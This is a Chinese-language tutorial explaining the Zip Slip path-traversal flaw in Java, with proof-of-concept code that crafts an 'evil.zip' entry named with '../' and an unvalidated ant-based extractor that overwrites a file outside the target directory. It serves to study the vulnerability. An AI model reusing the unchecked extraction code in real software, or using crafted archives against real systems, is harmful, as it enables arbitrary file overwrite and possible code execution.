Zip Slip是一个广泛存在的任意文件覆盖漏洞,通常会导致远程命令执行。
目前只要是使用存在Zip Slip漏洞的库,且没有进行目录遍历验证的程序或直接包含易受攻击代码的程序都将受此漏洞影响。
利用如下程序对test.txt(实际场景中该txt文件是恶意代码,用于覆盖)进行压缩为evil.zip
public class Enzip {
public static void main(String[] args) {
// TODO Auto-generated method stub
//第一个参数是需要压缩的源路径;第二个参数是压缩文件的目的路径,这边需要将压缩的文件名字加上去
compress("C:/Users/DELL/Desktop/zip_slip/test/test.txt","C:/Users/DELL/Desktop/zip_slip/test/evil.zip");
}
/**
* 压缩文件
* @param srcFilePath 压缩源路径
* @param destFilePath 压缩目的路径
*/
public static void compress(String srcFilePath, String destFilePath) {
File src = new File(srcFilePath);
if (!src.exists()) {
throw new RuntimeException(srcFilePath + "不存在");
}
File zipFile = new File(destFilePath);
try {
FileOutputStream fos = new FileOutputStream(zipFile);
ZipOutputStream zos = new ZipOutputStream(fos);
String baseDir = "../test1/";
compressFile(src, zos, baseDir);
//compressbyType(src, zos, baseDir);
zos.close();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* 按照原路径的类型就行压缩。文件路径直接把文件压缩,
* @param src
* @param zos
* @param baseDir
*/
private static void compressbyType(File src, ZipOutputStream zos,String baseDir) {
if (!src.exists())
return;
System.out.println("压缩路径" + baseDir + src.getName());
compressFile(src, zos, baseDir);
}
/**
* 压缩文件
*/
private static void compressFile(File file, ZipOutputStream zos,String baseDir) {
if (!file.exists())
return;
try {
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
ZipEntry entry = new ZipEntry(baseDir + file.getName());
zos.putNextEntry(entry);
int count;
byte[] buf = new byte[1024];
while ((count = bis.read(buf)) != -1) {
zos.write(buf, 0, count);
}
bis.close();
} catch (Exception e) {
// TODO: handle exception
}
}
}
由于java中用于解压的方法很多,仅选取其中两个具有代表性的进行研究
ant-1.7.0.jar(直接包含易受攻击代码)
public class Unzip {
public static void main(String[] args) throws IOException {
//解压zip的包
String fileAddress = "C:/Users/DELL/Desktop/zip_slip/test/evil.zip";
//zip文件解压路径
String unZipAddress = "C:/Users/DELL/Desktop/zip_slip/test/";
//去目录下寻找文件
File file = new File(fileAddress);
ZipFile zipFile = null;
try {
zipFile = new ZipFile(file,"GBK");//设置编码格式
} catch (IOException exception) {
exception.printStackTrace();
System.out.println("解压文件不存在!");
}
Enumeration e = zipFile.getEntries();
while(e.hasMoreElements()) {
ZipEntry zipEntry = (ZipEntry)e.nextElement();
System.out.println(zipEntry.getName());
File f = new File(unZipAddress + zipEntry.getName());
f.getParentFile().mkdirs();
f.createNewFile();
InputStream is = zipFile.getInputStream(zipEntry);
FileOutputStream fos = new FileOutputStream(f);
int length = 0;
byte[] b = new byte[1024];
while((length=is.read(b, 0, 1024))!=-1) {
fos.write(b, 0, length);
}
is.close();
fos.close();
}
if (zipFile != null) {
zipFile.close();
}
//file.deleteOnExit();
}
}
如上解压代码运行后对evil.zip进行解压后会覆盖text1中的test.txt文件。
大型站长资讯类网站! https://www.nzzz.com.cn